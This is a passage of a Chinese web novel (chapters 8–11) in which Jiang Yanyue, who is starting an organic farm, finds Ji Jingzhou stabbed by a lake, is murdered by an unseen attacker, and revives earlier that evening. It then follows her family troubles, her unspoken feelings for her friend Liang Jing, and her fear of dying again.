纪年:“晚上我爸生日,我在想要不要叫你过来吃饭?”
“不用。”
江言月连忙拒绝,她才不喜欢热闹。
难怪纪景州他们会回来。
纪年跟纪景州同岁,比纪景州大两个月。纪年跟纪景州老爸是同父异母的兄弟。
他老爸第一任妻子难产离世以后,过了许多年娶了纪年妈妈,纪年老妈比他爸小将近20岁。
结婚时两边家人,谁都没同意。
后来纪年出生,闹分家。
纪景州老爸便带着妻儿另外盖新房。
纪年老爸带着妻儿住在老房子里,好多年没有往来。
再后来纪景州他爸离婚,纪景东没人带,纪年老爸隔三差五叫纪景东回家吃饭,才渐渐有了往来。
前几年,因为土地的事情,纪年跟纪景东又吵,关系再度僵化。
现在纪年老爸已经80多岁,他妈60岁。
不庆生,也不见得会有那么多机会。
纪年肯定憋屈,可是也只能忍着。
纪年老爸年纪大了,人一旦上年纪,就不会那么计较对错。
外婆就是最好的例子。
女儿20多年不见,外公去世回来一趟,感动得要命。
江言月倒是学不会感动,没把人轰出去已经是给足对方脸面。
她那个母亲,回来打扮得花枝招展,仿佛不是回来参加葬礼,是回来参加婚礼。
葬礼办完,江言月没跟她说过一句话。
听同村亲戚说对方已经重新组建家庭,有儿有女,过得不错。
听起来格外滑稽。
她想不明白,为什么老天会让自己来到这个世界,明明谁也不曾期待她的到来,却强行出现了。
还是她那所谓的父母也期待过,只是还没等到她到来,两人之间所谓的爱情便消散了。
他们爱情消失,就可以任意丢弃她。
——多可笑!
更可笑的是,他们这种人也可以过得很好。
那她有什么理由去难过,不是应该更好吗?
想到那些人,江言月好心情立马消失不见。
床上滚了一圈,江言月头埋在被子里,莫名想到梁靖,她一巴掌拍头上,疼痛感驱散念想。
绝不能痴情不爱自己的男人。
想也不行。
要么一辈子一个人,要么双向奔赴。
她安然无恙,有机农场项目该启动了。
在家吃完早饭,江言月忙着进城去找销售渠道。
刚上车二百追着出门,她只好一起带进城。
带着狗也不可能谈什么生意,她第一时间把狗送去给秦悦爸妈。
跑了10几家大型商超,没有找到渠道。
几家有固定合作基地,几家给不上价。
意料之中的结果。
毕竟是县城,食品健康意识依旧比较薄弱。
她也只是过来探一下市场。
没想过真能谈下来。
县城没有市场,只能把目光投向市里。
跑完最后一家超市,江言月彻底死心。
骑车回秦悦家接狗。
秦悦父母留她吃晚饭,她没拒绝。
趁着二老做饭的功夫。
江言月跑到秦悦房间又翻箱倒柜查看一遍,依旧一无所获。
她倒在椅子上,累到不想呼吸,二百甩着尾巴进来。
她扫了一眼狗,盯着天花板发呆,怎么就什么都找不到一些有用的东西呢!
难道秦悦真是死于意外。
可明明那信息…很可疑!
想多了?
或许…
江言月长叹一口气,站起来。
二百仰头盯着她,叫唤了两声。
“你知道?”她试探性问。
“汪——”狗仰头叫。
顺着狗眼看上去,是柜顶,上面堆着几床老棉被,她早就看到过,莫非棉被里有东西?
江言月瞧一眼狗,踢掉鞋子,跨上凳子……
“小月吃饭了!”秦阿姨在门口喊。
她手刚碰上红色透明被子包装袋,想拿下来一探究竟。
“你小心一点,别摔了。”秦悦母亲走过来,扶着她的腰,“我知道你想小悦,里面没什么,是她租房子时没来得及盖的被子……”
秦阿姨说着眼眶红了,江言月连忙跳下来安慰。
“要不今天你在家里睡了?”秦阿姨擦干眼泪,抬眸盯着她,“如果你不怕的话!”
这哪里是怕不怕的问题,她也想留下,可她有事。
江言月解释清楚,同二老吃好饭,骑车带狗回了村。
夜色降临。
一路上几盏昏黄的路灯亮着。
江言月骑车独自穿梭在水泥路上,风打在耳朵上,带走了唯一的温暖。
要不是因为项目,她早给自己买一辆车。
周围传来几声狗叫,二百动了一下,江言月凝神,夹紧双腿,避免二百发神经,从踏板上跳下去。
百米开外是东湖。
东湖两条环湖公路,一条通往隔壁村,一条通往东营村。
远远看到通往东营村的白色拱形桥,江言月依旧有些害怕,毕竟在哪里死过。
车疾驰上桥,一路颠簸,江
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言月屏息凝神,目不斜视。
脚下二百略显躁动,她呵斥一声,没啥用。
狗太反常。
江言月心一时提到嗓子眼,车速太快,除了风声,什么声音都听不到。
车过拱形桥,解除了像上次那样骑车失控,方向错乱冲湖的可能,她放慢车速,往旁边灌木里看。
湖旁边那块空地,又出现灰白的一小片,江言月瞳孔一震。
昏暗灯光打在上面,还是像个石墩子,狗在脚下一点都不安分,她慌乱移开视线。
明明白天看什么都没有,就是一块空地。
江言月下意识看过去,眼神还来不及聚焦……
狗顶开她挡住的双腿,跳下脚踏板,往旁边灌木窜进去。
江言月心一紧,破口大骂:“二百你疯了!”
前两次那种死感,又充斥满大脑,唯一的那分冷静被挤得粉碎。
她想丢下狗,可是不能。
车刹停,江言月顺着狗摩擦枝叶的声音看过去,目光正好落在湖旁边那块空地上,她没看到狗。
那一片灰白也消失不见,独留一片空洞,黑漆漆的空洞。
此刻谁过来告诉她有鬼,她都信。
二百叫唤了几声,声音在百米之外。
江言月腿不受控打颤,殷红的嘴唇快咬出血。太诡异了,明明上一刻那里还有东西。
3个月已过,莫非她还会死?
心一沉,双腿瞬间重如千斤,停止了颤抖,陷入地里一般,无力挪动半分。
江言月低下头,脚下踩着一堆鲜绿的落叶。
灌木枝叶往两边撇开,到那片黑漆漆的空地处结束,这不是二百走出的路,二百没那么高。
心顿时硬起来,如果注定是死,那为什么会有那么多意外?
她不甘心,次次把命交给意外。
鬼有什么可怕的,她只怕有人装神弄鬼。
江言月竭力迈开双腿,抬起手迅速穿过灌木,脑子里全是警惕,她自动忽略,如果这次也是死,她只想知道为什么。
眼看就要走到尽头,江言月放慢脚步,握紧双拳,定睛看向那片黑漆漆的空地,那里什么都没有,徒留一堆焦黄的枯叶。
江言月松一口气,她刚才肯定眼花看错了,自己吓自己永远最可怕。
狗往前方跑去了。
她决定原路返回,去找狗,最后一步落地,脚掌没有落地的实感,脚下,柔软,回弹……
江言月一抖,抬起脚不敢动了。
“嗯——”
一声闷哼从脚下传来。
“啊!”
江言月尖叫一声,跳起来。
身体一歪,压在灌木上,灌木撑不住她,不受控倒向那边堆满枯叶的空地。
她没倒在枯叶上,压在一片灰影上。
那微弱的呼吸打在江言月耳畔,她确定身下是个人,背上压着的坚实胸膛,告诉她是个男人。
她仰躺着,看不见对方的脸。
一切拨云见月,江言月反而没那么害怕了。
抬手拽住灌木枝杈,借力站起来,摸出手机,打开手电筒,照过去。
纪景州惨白的脸,呈现在眼前,他嘴角淤青带血,双目紧闭,左脸有些浮肿淤青,白色衬衣被血染大半。
江言月屏住呼吸,瞬间怔愣,下一刻,俯身轻拍他的脸:“纪景州,你醒醒,别睡!”
没有任何回应,纪景州右上腹一直渗血。
江言月那股短暂消失的恐惧感,又瞬间回笼,晕厥感袭来,她用最后一丝理智,用力锤在腿上。
痛感带来意识,江言月逼着自己冷静。
纪景州睫毛微微颤动了一下。
江言月倒抽一口气,想定睛看清,眼泪掉出来遮住视线。
9. 第9章
江言月颤手擦泪,眼下的纪景州没有半点动静,她想说话,嗓子处一股气堵着。
一张口,只想抽泣飙泪。
她深吸几口气,压住胸口那股心酸劲。轻拍纪景州的脸,脸上温度比刚才更低了,她手抑制不住发抖:“纪景州,你坚持一下…行不行?”
嗓子哑到自己都听不清说什么,昏迷的人更不可能有回应。
江言月蹲着,崭新的蓝色衬衣下摆,不知什么时候被血染红一大半,贴在腰间,凉嗖嗖的,让人心里越发胆寒。
不止住血,叫醒人也回天乏术。
江言月把手机电筒,照往旁边,枯叶边上有一颗艾草。
她站起来,胡乱扯下一大把叶子,拼命揉碎,敷在伤口上,按压住。
血没再流出来,江言月判断不出是艾草发挥药性,还是艾草吸收了鲜血,给她造成止血的错觉。
她拿起手机,纪景州痛苦抿着嘴,眉眼抽动,有种快要醒来的迹象。
江言月手伸过去,还没抚上脸,那双漆黑的杏眼猛然睁开。
她手僵在半空。
纪景州片刻怔愣,眼底被恐惧填满:“你怎么在这里,快走……这里危险!”
他抬手,没抬起来,痛得闷哼。
江言月按住他的手,故作平静问:“你怎么了?到底怎么回事?”
纪景州疼得倒抽一口气,眼睛慌乱扫视一圈,眼帘垂下来,又竭力撑起,无力望着她:“你快走……别管我……他手里有刀,你斗不过他。”
纪景州一句话大喘了几口气。
江言月不打算再问。
拿起手机,打通报警电话,用最快的速度回答所有问题。
手机照过去的时候,纪景州已经再次晕厥过去。
什么人能对陌生人痛下杀手。
或者不是陌生人!
江言月不敢多做停留,又无从下手,生怕稍微移动纪景州,他血流不止。
纪景州衣服上两个交叉的破口,无法确定是不是被捅了两刀,而且说不定还有一些隐形的伤。
她颤手去探他的鼻息,还算平稳。
这里离公路直线50米左右,可直线根本过不去,10米处是一个高几米的土丘。
只能原路返回,江言月没本事带着一个一百多斤重的受伤男人过去。
等救护车过来的话,她怕凶手原路返回。
情急之下,她拨通纪年电话。
手机还有15%的电。
电话接通,江言月先开口:“你在哪里?”
“在家。”纪年那边听起来很热闹。
“我在东湖,纪景州受伤了,你快点过来。”
“受伤?他刚才不是还好好的,我哥叫他去找纪依,怎么会受伤。”
江言月没功夫跟纪年讨论前因后果,她心都快跳出来了:“等下我把位置发给你,多带两个人过来。”
不等纪年回复,江言月连忙挂断电话。
纪景州伤处确实没有流血了,江言月暗自松一口气,心情还没来得及放松片刻……
二百惨叫声从远方传来,还伴随着女人的尖叫声:“你别过来!”
纪依的声音。
江言月头皮一紧。
手机铃声响起,纪年打来的。
江言月迟疑一秒接通电话。
“我刚才没听清,我这边太吵了,你说带什么。”
“带人过来,纪景州被人拿刀捅了,受伤很严重。”江言月扯着嗓子回,说完很后悔,她现在大吼,无疑的主动暴露行踪,惹人注意。
纪年颤声说:“你……你们……”
江言月打断:“别打电话给我了,我手机快没电了,我把位置发给你。”
…
位置发过去。
“扑通——”
不远处传来落水声。
仿佛死亡警钟敲响。
周围又恢复死一般的寂静。
整个东湖黑漆漆的一片,看不到尽头。
江言月深深地看了纪景州一眼,心一横,往声音传来的方向赶去,只要稳住那施暴的男人,纪景州就不可能会有危险。
纪年他们差不多10分钟可以赶来。
这10分钟很重要,稍不注意会死,她担心二百。
刚才不知道什么东西落水。
江言月加快脚步,顺手捡起旁边一根小臂粗的枯枝,拖着。枝杈有些碍手,迅速掰掉多余枝杈,调整到合适的长度。
不远处传来唰唰唰的声响,百米开外,一个黑影往她这边逼近,江言月不想硬碰硬。
调转方向往湖边跑,出树林的时候差点被灌木绊倒,踉跄站定,她跑到湖边扒着栏杆,看向湖面。
二百在水里扑腾,拽着黑乎乎的一团东西,往那边走几米,江言月才看清那是个人。
没看到脸,不过人只可能是纪依。
二百压根就拽不动人,只能拽着人,在水中原地打转。
她不会游泳,哪怕跳下东湖也是找死。
那黑影往纪景州方向去了,没有追着她来。
江言月不知道该管哪里,甚至自身难保。
短暂迟疑,她看了一眼二百,原路返回,能救一个算一个。
有可能刚才那人,没看到她,江言月自我宽慰。
走了几米,江言月大胆抬眸望去,人影早已消失不见。
江言月握紧木棍,愣在原地。
人逃了?
她原本计划小心翼翼回去,趁人去看纪景州,偷袭对方呢!
那人跑了正好,他应该是听到她报警的声音,逃了。
看似一切理得很通顺,江言月心里依旧七上八下,忐忑不安。
她扬起棍子往旁边灌木里猛挥几下,激起几只飞蛾,别的什么都没有。
江言月不敢掉以轻心,四处张望,小心挪过去。
转眼到了空地,纪景州在地上躺着一动不动,光打过去,那惨白的脸庞没有半点动静。
江言月蹲下,用袖口去擦他嘴角的血,擦不掉,血已经凝固,胸口一堵钝痛。
“唰……”也不知道哪里传来的声响。
江言月抬起的袖口僵在半空,扭头环顾四周,什么都没有。
昏暗的灯光照着周围灌木,他们呆在被光遗忘的空地,江言月心里只剩绝望。
瞟了一眼手机右上角的时间,离刚才打电话给纪年才过了5分钟,她有种过了5年的错觉。
“滴——”
手机电量过低提示弹窗跳出来——“不足10%,要不要开启省电模式。”
江言月按下“返回键”,退出提醒模式。
手电筒已经自动关闭,打开瞧着人也无能为力。
要是知道那人会跑,她还不如留在湖边,说不定还能帮上忙。
她现在担心二百,它根本不可能把人救上来。
好在纪依没挣扎,身体没有下沉,浮在湖面。
上次她掉下去,挣扎特别厉害,没过多久便失去意识。果然在水里,不会水的话,越挣扎死越快。
江言月苦笑,俯身对着昏迷的纪景州小声念叨:“纪景州,你一定要好好活着。”
她语气近乎央求,算是在恳求老天,发发善心。
身下的纪景州微微动了一下,江言月大喜,俯身凑近纪景州耳畔:“你听得到我说话是不是?”
人又动了一下,江言月借着手机屏幕上的光,能看到他脸上痛苦的表情。
她手放在纪景州脸上轻抚,柔声安慰:“你别动,他们马上过来了,我会救你的……”
脖颈处一凉,一股大力锁住江言月喉咙。
“你有没有想过,你救他,谁救你?”
那陌生的嗓音,带着笑意,犹如厉鬼来索命。
江言月奋力挣扎,男人手越收越紧,刹那间仿佛脖颈在跟身体分家,身体完全不属于她,属于她的只有疼和窒息感。
她疼到不想挣扎,行动却跟想法背道而驰,双手抓着他粗粝的手,试图挣脱那双铁钳一般的恶魔之手。
白费工夫。
“你看,你们都不听话,乖一点,也不至于死,大家都爽一下
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,不就行了吗!”背后笑声传来。
江言月心尖一颤,忘了挣扎。直觉告诉她这条路上有变态,今天才算真正遇见,纪依该有多绝望,大概跟她现在一样吧。
“想通了?”男人问,言语间全是惋惜,“晚了!”
脖颈处松了瞬间,白光从脖颈一晃而过,冰凉后锐痛,温热的血液喷薄而出,头跟身体分了家。
江言月下意识按住脖颈,试图缓解脖颈撕裂的疼,身体不受控倒向纪景州。
江言月想看清身后那张脸,却无法回头,只能任由疼痛与绝望,占据所有神经系统。
这场死局,到底是怪她多管闲事,还是命中注定?
江言月闭上眼睛,意识消失殆尽时,也没有答案。
这一生她好事做尽,没害过任何人,为什么要这样折磨她,老天这是提醒她别多管闲事?
——
“是不是只有把你送警察局才会老实——”
江言月被自己声音吓愣,纪景州的面庞落入眼眸,她手还拽着他的衣领,下意识一笑,眼泪掉出来,“你没事?!我也没事!”
纪景州一怔。
江言月加大扯住衣领的力度,把人拉下来,摸上那一脸错愕:“纪景州,你真没事了!”
纪景州皱起眉头,别开脸一让。试图摆脱江言月没规矩的手。
江言月的手追着纪景州的脸走,她只想确定此刻的真实性。
纪景州避无可避,想推人又怕不小心碰不到不该碰的地方,这女人再借机倒打一耙。
她是不是疯了?
还是有精神分裂症?
上一刻还在诬赖他,说他躲在田埂冲出来想轻薄她。
现在到底是谁轻薄谁?
纪景州拉着脸,不耐烦问:“你摸够没有?”
江言月恍若未闻,变本加厉,一把圈住脖子抱住他,“真好,你没事!”
她的胸口正抵着他,纪景州僵住,心如捣鼓。
“吓死我了,跟做梦一样。”
江言月自顾自说着,又像是想起什么一样,放开搂他脖子的手,改成扶着肩膀,低头从他胸口看下去,“还好,那里也没事。”
那里是那里?
纪景州下意识低头顺着她视线看下去,脸瞬间红透,推开人。
这女人是不是被色.鬼附体了?
上一秒还拒人千里草木皆兵,要报警,下一秒变成这样,纪景州觉得他才该报警。
对上江言月那张人畜无害的脸庞,又有些说不明白的感觉。
她脸上的笑容很干净,是那种打从心底的欣喜,没有掺杂别的东西。
仿佛他才是那个思想龌龊的人。
明明刚才又摸又抱的人是她。
纪景州眉头深锁,眼神复杂盯着对方,一句话说不出来。
江言月后知后觉意识到自己行为有些过头,冲纪景州尴尬一笑,眼下这光景,应该正是他们第一次见面的时候,她刚把纪景州当流氓骂了。
前后行为反差太大,她现在在纪景州眼里,多半脑子有毛病。
没办法,比起上一刻两人赴死的绝望,活着更让人激动,看到生龙活虎的他,没忍住。
江言月理了理衣服,缓解尴尬,淡淡地对纪景州说:“你别检测土质了,我刚叫梁靖检测不久,不合格,你回去告诉纪景东,想要合作项目,就正大光明过来跟我商量,别偷偷摸摸做些见不得光的事。”
纪景州傻眼,没回话。
江言月冲他礼貌一笑,不远处狗叫声传来,她骑上摩托走了。
纪景州盯着她背影发愣,她认识梁靖?
白天老姜说过来抢项目到底什么意思?
大哥叫他过来帮忙检测,别的什么都没说过。
土质肯定不会合格,普通田地,要做土质改善至少要三年,他只是过来检测一下,给大哥制定改善方案。
江言月话里的意思是,她早就开始做这项目?而且她还认识梁靖?
难怪她会知道自己名字。
这事只能问梁靖才能问清楚!
10. 第10章
月色之下,摩托车在弯道上急速顺拐。
江言月恨不得飞过去抱住二百。
狗叫声不断逼近,一个念头冒出来,二百这次死了没有?
死不死都一样,反正现在他们都在。
上一刻,那种濒死感冒出来,江言月头皮一紧。
那疼痛感超越上次溺水窒息而亡。
明明已经过了3个月,她依旧没逃脱死亡的宿命,到底为什么?
唯一值得庆幸的是,她不用防着任何人,因为重生以后,发生的事情不会重复。
大概是老天在教训她多管闲事。
可是再来一次,她还是会去救人,不要说她拿着重生这块免死金牌。
哪怕不会重生,她也会做一样的选择,只是她不甘心,没有看清杀他们的人是谁,否则她一定要找出来,给纪景州他们提个醒也好。
脖颈处,湿润感传来,江言月下意识摸上去,垂眸快速扫一眼,手上是透明的汗珠。
江言月长舒一口气,她吓半死,以为脖子又流血了。
什么叫做人吓人,吓死人。
不能这样总是回忆那些事情,应该遗忘,主动遗忘。
不然哪天她真给自己吓死了。
二百冲过来,低吼一声,停在车旁。
江言月挪开踩着踏板的双腿,让它跳上来。
二百抬头,眼睛直勾勾盯着她,眼里全是委屈。
江言月笑了笑,弯腰摸着狗头,小声哄着:“知道你委屈了,以后去哪里都带着你,坐好,我们回家。”
…
江言月推开大门。
外婆看到狗一愣:“耶……我正想跟你说,今天下午跑来一条狗,赖在我们家门口不走,我还怕它乱咬人,一直关门等它走,它也不走。”
上次外婆也是这样说的,江言月正想回话,手机响了,梁靖的电话。
江言月看了看狗,快速跟外婆说:“我朋友的狗,白天我叫它先回家了,忘了跟你说,外婆你跟它搭个狗窝,我接个电话。”
江言月拿着手机,转进房间,按下接听键。
“刚才我同事给我打电话,说他哥叫他过你们村检测土壤,没想到你这烫手山芋,盯上的人还挺多!”梁靖在那头,边说边笑。
上次梁靖知道以后,还不是这态度,她记得对方忧心忡忡,担心她,不知道纪景州跟他说了些什么。
江言月反驳:“谁告诉你是烫手山芋,万一是香饽饽呢,只是你没有慧眼发现。”
梁靖嗤笑:“我倒是希望是香饽饽,只是我认真想了一下,你这事情要做成,哪怕土质检测成功,估计做成也要好几年,还是在没有意外的情况下。成了要么一本万利,要么血本无归,想想都是一场豪赌,当初要是你校招的时候,别忙着回村发展,混个几十万年薪,应该没什么问题。”
梁靖口吻中全是惋惜,江言月心底没有任何惋惜,这三年虽然没挣多少钱,但是陪着外婆,对她来说是最好的。
她没告诉过梁靖,真实的家庭情况,当初梁靖过来的时候,看到家里只有外公外婆,随口问了一下。
她只告诉过梁靖,她是外公外婆捡到收养的孩子,梁靖道歉,后来再没说过什么。
她不喜欢别人说她有娘生,没娘养。
也不喜欢别人一脸同情看她,她不需要同情。
可能在小学初中会羡慕那些有爹有娘的孩子。
还会自我怀疑,是不是从出生就被抛弃,是她的问题。
后来政治老师告诉她:别在意别人怎么说你,你自己怎么样,自己决定,不是所有父母都爱孩子,爱不爱也不重要,反正他们不爱你,有别的人爱你,但是自己爱自己才是永恒的,指望从别人那里获得爱,相当于把爱人的能力交给别人,这样只会一直处于患得患失的状态。
那时她年纪大小,没有领悟老师话中深意,在那过后的几年,经历朋友背叛,亲人诋毁,渐渐明白过来。
那些朋友亲人,她自认为对他们很好,可是在别人眼中不值一提,还是看不起她。
她后来习惯了,管他们怎么样,她做到自己该做的,那些人怎么想随便,反正该留下的人都会留下。
好比秦悦,秦悦父母,梁靖,外公外婆……这些打从心底关心她的人。
她爱这些值得她去爱的人就好。
江言月又有些想哭,这才几年,他们这些人离开的离开……
梁靖也快结婚了,结婚以后他们关系还能那么好吗?
江言月没回答梁靖问题,反问:“你是不是要结婚了?”
“你听谁说的?”
“我掐指一算。”
梁靖无奈笑了几声,“是要结婚了,时间还没定,到底谁跟你说的,好像你除了我,也不认识别人……”
梁靖追问:“不可能是景州告诉你的吧?”
江言月也不可能回,是上辈子你自己说的,随口答:“我跟纪景州不熟,他没告诉我,我是看你最近几个月忙的电话都没一个,想着你估计是谈恋爱了,诈一下你,没想到你不打自招。”
梁靖:“你这话不厚道,你翻一下通话记录,这一年,我们谁给谁打的电话更多?”
江言月冷哼一声,不语。
梁靖叹了一口气,没同她掰扯,淡淡道:“我不跟你计较了,我只是怕你担心项目,我跟景州说了你这边情况,你放心,他不会帮他哥抢你项目,他这人还是比较正直的……而且……”
江言月下意识问:“而且什么?”
“而且……他单身。”
江言月皱起眉头,没好气说:“挂了!”
“别挂!别挂!”梁靖说,“我认真的,他这人平时洁身自好,喜欢他的女人倒是挺多,可他不喜欢人家,也没跟人家暧昧不清,对男人来说,能做到这点的男人很少,还有如果你跟他在一起,以后项目的事情说不定他还可以帮你,你们说不定还能有不少共同语言……”
江言月听不下去打断:“你是不是担心我的事情,影响你谈恋爱,不想帮忙做检测了?我可以找别人。”
“怎么可能,我是真为你好,我觉得你们很合……”
江言月挂断电话。
梁靖接着打来,她没接,直接挂断。
【生气了,我真觉得你们合适,他长相,人品,都不错。】梁靖微信消息跳出来。
江言月气得发抖,迅速回复消息过去:【不用你操心,我没空谈恋爱,我们村男人多得是,全是帅哥,帅得要死。】
梁靖发了一个摊手的表情过来。
江言月手机砸床上,回了院子里。
什么玩意,婚都没结,就想着把她安排出去。
她心仪梁靖,可两人交流除了工作就是工作,半点暧昧都没有。
梁靖也不可能知道她喜欢他。
在梁靖眼里,她就是个男人,算哥们。
当哥们都嫌她,影响他谈恋爱,真气人。
男人真是没一个靠谱的。
还说纪景州没谈恋爱,洁身自好,跟女人保持距离。
有没有可能,他只是没遇到喜欢的女人。
结合上一辈子,对纪景州了解,江言月觉得纪景
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州不爱说话。身体素质一般,大概率绣花枕头一个,中看不中用,说不定有什么隐疾,也不是不可能。
与其同时,纪景州不合时宜打了个喷嚏。
纪景东黑着脸,激动解释:“那女人以退为进,她不是真的想让我过去跟她好好谈项目,你根本不了解她,她唯利是图,当初为了项目,把我踢出去,现在怎么可能会让我加入。”
纪景州扫了大哥一眼,表示怀疑,江言月那表情倒是坦荡。哪怕真把大哥踢出来,也正常。
三年前,项目才开始,什么东西都是未知的,这反而对大哥来说蛮好的。
这几年江言月做了那么多准备,纪景州没看到江言月讨到什么好处,只看到了江言月做有机农场的决心。
反而从大哥话里,他只听到——“利益”
只是“利益”的话,可能项目想做下去没那么容易。
纪景州也懒得辩解,也不想插手,说:“我明天回去,她的项目,你想加入,自己去商量。”
纪景东脸一抽,手拍在桌子上:“你是不是也跟小叔一样,看人家长得好看,魂被勾走了!”
这都什么跟什么,纪景州无语,刚才光线太暗,他甚至都没看清江言月的脸,白天的话,只看到一个侧脸和背影。
可能是好看……
纪景州想到黄昏时分,那个对他上下其手的女人,直摇头,他可不喜欢精神不正常的女人,好看也没有用。
纪景州沉默不语,起身上楼,回卧室。
“你不帮我,谁帮我!我不像你有个要风得风,要雨得雨的后爸。”纪景东直吼。
纪景州冷笑一声,在楼梯拐角短暂一顿,扭头瞥了一眼客厅一言不发的大哥和父亲,径直回卧室。
原来在大哥心里,还羡慕起他的生活了。
母亲再婚的时候,他在别人家里,谨小慎微活着,那时候还没有妹妹谢韵。
他那时年纪小什么都不懂,母亲告诉他要听话,不然他们就没地方可去,他害怕,什么都不敢说,怕说错话。
继父谢国礼还算是一个不错的人,平时少言寡语也不说什么。那边的爷爷奶奶经常抱怨继父,自己孩子不养,给别人养孩子。
他听多了,就麻木了。
继父谢国礼离过婚,跟前妻有个儿子,离婚以后孩子跟前妻。
两年后,母亲生了谢韵。
爷爷奶奶跟他说要保护好妹妹。
每次妹妹受伤都怪他。
母亲知道不是他的问题也不敢吭声,继父谢国礼,会帮他说话,说是小孩子小磕小碰正常。
爷爷奶妈反而说继父,不关心孩子。
从那以后,他整天心思都在保护妹妹和好好表现的事情上。
谢韵上初中有了自己想法,嫌他难缠,他才慢慢放开。
后来他考上大学,没有那么多时间相处,谢韵又嫌他忽视她这个妹妹。
谢韵从小娇生惯养,任性妄为,全凭性子说话,他听了也没放在心上。
毕业以后发展的还不错,继父是很好,可这一路走来,更多的是靠了自己。
大哥会有这些心思,还是让他震惊。
刚才父亲站在楼下那自责的模样,可能真觉得亏欠了大哥。
纪景州认为过得不好,或许有时候可能会忍不住责怪原生家庭。
可想真要过好这一生,还是得靠自己。
好比那个从小被父母抛弃的江言月,不也是靠自己,走到现在吗?
纪景州心莫名抽痛,他抬手按住。
小叔真喜欢江言月,不可能。
11. 第11章
江言月回家第一件事,决定打电话去给大学同学梁靖,问一下具体情况。
梁靖大学是土地资源管理专业,这些年有机农场的事情多亏有他帮忙,否则也不能进行那么顺利。
她高考报志愿选了农学专业,考上大学,她唯一的心结是没有人照顾外公外婆。
他们将近80岁的老人,亲生女儿不闻不问,她不可能也做那种忘恩负义的人。
毕业以后,她回到他们身边。
原本他们是独家村,家里土地面积也近20亩,家里两个老人种地,太辛苦。
离家远点的种上果树,成了果园。
她回来的时候把地势平坦的地块,果树砍了,等待后续开发农场,只留下靠山地势坡度大的一片橘子林。
种地时节,地多忙得要死。
第一年为省钱,她请人帮忙,后来卖菜挣了些钱,就花钱雇人。
她现在手头有50万,想要做大资金根本不够。
肯定得去银行申请助农贷款。
现在还没到种植时节,土地检测和申请贷款都有点早。
贷款申请下来,土质不合格也白搭。
他们这群脑袋里装屎的人,只知道抢项目,屁都不懂。
这季度的菜,还不知道能不能卖出去。
土地检测刚做不久,打电话给梁婧也无用。
手机丢床上,江言月倒在床上,闭上眼睛。
脑子里一时冒出,二百在东湖追着纪景州那谄媚的画面。
胸口那团火蹭蹭蹭上去。
以前跟秦悦在一起,都没见二百那么舔,永远养不熟的臭狗。
“啪——啪——”门被敲响,外面传来外婆声音,“小月,吃饭了!”
“好!”江言月翻身爬起。
她一肚子鬼火,吃完饭,才给二百上狗粮。
狗粮倒进碗里,二百见她不发话,没动口。
“你在家里挺规矩的,见了帅哥就发颠!”江言月指着它的脑袋念叨。
二百呜呜叫两声,委屈巴巴。
江言月冷哼一声,站起来,冷声命令:“吃饭!”
厨房收掉吃不完的剩菜剩饭,倒在鸡槽里,兜里手机直叫。
梁靖的电话。
今天这电话是躲不过,她不打,梁靖打,按下接听键,声音传来。
“你又跟别人吵架了?”梁靖语气有点着急。
“我从不吵架。”江言月抠着指甲,漫不经心回。
“你说这话,你信吗?”秦靖笑出声。
“你是不是打电话来吵架的?”
“我才不跟你吵,只是我们单位同事,今天给我打电话,我才知道,你又跟别人吵架了。”
梁靖说的应该是纪景州。
纪景州是他同事。
说来也是好笑,她跑去他们单位那么多次,从来没见过纪景州,却在东营村遇到了。
“他不是坏人,估计也是被家里人利用,你别盯着别人不放,我跟他说别插手,他同意了。”
江言月不识好歹反驳:“谁要你多管闲事,他只要敢插手,我绝对不会放过他。”
“行行行,怪我多嘴,”梁靖认怂让着她,“你要检测的话,随时叫我,不过可能要等两三个月。”
听到三个月,江言月心情瞬间低落,都不知道那时候她还能不能活着,没忍住叹了口气。
梁靖问:“怎么了?”
江言月沉默片刻,实话实说:“梁靖——咱们那么好的朋友,如果我三个月以后不在了,你能不能帮我把农场的事情进行下去?”
“江言月你怕不怕疯了吧,说什么胡话!”
她没应话,胸口堵得慌。
“你是不是生病了?”梁靖问,“前两天我见你,你不是还生龙活虎,红光满面的吗?”
江言月被他逗笑,认识这么多年,也没见他那么认真夸过她,唯一一次夸她,说她比男人还强壮。
“没病,只是天有不测风云,我给你打个预防针。”
梁靖长舒一口气,“你真该去看一下脑子,一天净想没用的东西。”
“没事挂了。”
梁靖急着叫:“别挂,我有事跟你说。”
江言月凝神听着。
“我快结婚了,你到时候记得过来参加。”
胸口骤然一紧,手机从指尖滑下,她猛然抓住——
“你在听吗?”
“知道了!”
江言月电话挂断,盯着手机发愣,仿佛能从屏幕里看到那张白净斯文的脸,他嘴角总是挂着笑意,稍不注意,就会腻进那双灼灼的桃花眼里。
【挂那么快干嘛,我还没跟你说完。】微信消息弹出来。
江言月低叹一口气,收起那些不切实际的想法,回消息过去。
【我随时都可以,只是你别跑国外,否则你得报销车费。】
哪怕梁靖不结婚,他们也不可能。
家境悬殊不说。
梁靖不喜欢她,不能说不喜欢,是只把她当成朋友,一个婚礼需要在场的朋友。
大门口蹲上,半个小时,直至夜幕降临,江言月转回屋里。
爱情这种东西,本来就不切实际,稍微遇到点分歧,都会分崩离析。
大学里她见过太多情侣,开始如胶似漆,难舍难分;最后相互斥责,不欢而散。
这一生,谁也无法真正靠住,只有自己。
秦悦的事情没了头绪。
江言月也没时间像侦探一般去调查。
最近3个月,农忙阶段。
她忙着找销路。
纪景东没过来捣乱。
梁靖婚期也没定,江言月想看一下他的女朋友,想知道什么样的女人可以入得了梁靖的眼睛。
一切处理妥当。
离3个月只差最后3天。
纪年约她去城里玩。
江言月哪里也不想去,只想陪着外婆,混吃等死。
她旁敲侧击地跟外婆说,如果将来她不在身边,一定不要太难过。
外婆问她说什么胡话。
她找补,说怕以后结婚,嫁得远,没机会陪着外婆。
外婆眼眶红透,说是没事,嫁人远,也可以电话联系。
她不知道怎么回。
…
秦悦父母打电话给她,让她去家里玩。
二老什么都没说,可她知道,第二天是秦悦生日。
江言月不好推辞,一大早起来,喂好鸡,喂好猪。
骑车带着二百去了县城。
她一路心惊胆战,今天是3个月的最后一天,生怕一不注意,一命呜呼。
一直到傍晚,人狗平安。
江言月骑车回村的路上,大老远看到熟人——纪景州。
他带着一个20岁左右的女生在公路边上散步,没注意到她。
江言月放慢车速,二百一双狗眼也盯着别人不放。
“等下你要是敢叛变跑下去,追着别人屁股后面跑,你就别想上我的车。”江言月小声警告。
二百低下头。
纪景州过来做什么?
又过来抢项目?
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一不留神,那两人已经近在迟尺。
江言月踩下刹车,停在跟前,两人吓愣。
两双一个模子刻出来的杏眼,不约而同盯着她,嘴张着,失了语。
